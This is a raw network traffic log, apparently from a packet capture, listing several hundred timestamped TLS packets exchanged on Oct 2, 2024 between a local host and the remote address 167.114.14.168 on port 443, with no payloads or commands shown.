Oct 2, 2024 06:11:36.621423960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.621468067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.621474028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.621490002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.621520996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.621951103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.621983051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622008085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.622014046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622039080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.622052908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.622376919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622392893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622438908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.622443914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622946024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.622965097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.623003960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.623009920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.623075008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.623075008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.666588068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.666614056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.666719913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.666733980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.666815996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.710401058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710417986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710536003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.710545063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710621119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.710694075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710722923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710753918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.710758924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.710781097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.710800886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.711374044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.711397886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.711437941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.711442947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.711477041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.711489916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.712064028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.712086916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.712130070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.712136030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.712182045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.712199926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.712605953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.712624073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.712697029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.712702036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713041067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713076115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713099003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.713104010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713129997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.713152885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.713562965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713577986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713618994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.713624001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.713648081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.713665962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.757287025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.757306099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.757405996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.757412910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.757481098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.800829887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.800847054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.800991058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.800997972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.801048040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.801286936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.801301956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.801371098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.801377058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.801481962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.802094936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802109957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802160025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.802165985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802196980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.802216053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.802686930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802701950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802768946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.802774906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.802902937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.803112030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803128958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803194046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.803199053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803468943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.803632021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803651094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803703070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.803709030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.803800106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.804052114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.804065943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.804120064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.804126024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.804217100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.808317900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.848187923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.848205090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.848278046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.848288059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.848334074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.891671896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.891689062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.891798973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.891805887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.891849041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.892244101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892260075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892317057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.892323017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892755985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892781973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.892786026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892805099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.892818928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.892859936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.893342018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893357038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893459082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.893465042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893603086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.893788099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893802881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893862963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.893867970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.893970013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.894243002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894258022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894319057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.894324064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894551039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.894720078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894735098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894785881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.894793034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.894828081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.939022064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.939038992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.939116955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.939124107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.939165115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.982397079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982414961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982491970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.982500076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982569933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.982842922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982857943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982898951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.982904911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.982933998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.982950926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.983535051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.983551025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.983612061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.983618021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.983691931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.984163046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984178066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984229088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.984234095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984371901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.984608889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984626055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984743118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.984746933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.984781027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.984818935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985083103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985097885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985137939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985142946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985177040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985193968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985572100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985605955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985649109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985655069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:36.985682964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:36.985704899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.029537916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.029556036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.029609919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.029619932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.029652119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.029665947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.073051929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073071957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073117971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.073126078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073157072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.073179960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.073586941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073623896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073695898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.073704004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.073786020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.076616049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.076631069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.076700926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.076706886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.076776981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.077076912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.077091932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.077145100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.077151060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.077250004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.083714962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.083731890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.083813906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.083818913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.083847046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.083868027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.090221882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090239048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090286016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.090291977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090321064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.090341091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.090507984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090523958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090584993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.090590954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.090790033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.120273113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.120292902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.120363951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.120369911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.120408058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.163821936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.163841963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.163929939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.163939953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.163989067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.164305925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.164323092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.164366007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.164371967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.164400101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.164419889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.165210009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165226936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165299892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.165306091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165410995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.165848970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165868044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165910959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.165915012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.165946007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.165965080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.167440891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.167458057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.167524099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.167531013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.167596102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.168335915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.168353081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.168401957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.168407917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.168437958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.168451071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.170474052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.170519114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.170543909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.170548916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.170591116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.211422920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.211442947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.211529970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.211536884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.211582899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.254568100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.254592896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.254646063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.254657030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.254723072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.254987955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255003929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255060911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.255065918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255109072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.255882025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255920887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255947113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.255951881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.255980968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.256001949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.256563902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.256580114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.256624937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.256628990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.256674051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.256674051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.258344889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.258359909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.258404970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.258409977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.258455992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.259037971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.259053946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.259109020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.259114981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.259294033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.261099100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.261116982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.261178017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.261183023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.261224985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.302273035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.302289963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.302340031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.302346945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.302397013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.345400095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345422029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345494032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.345503092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345550060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.345798969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345818043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345863104 CEST	49723	443	192.168.2.8	167.114.14.168
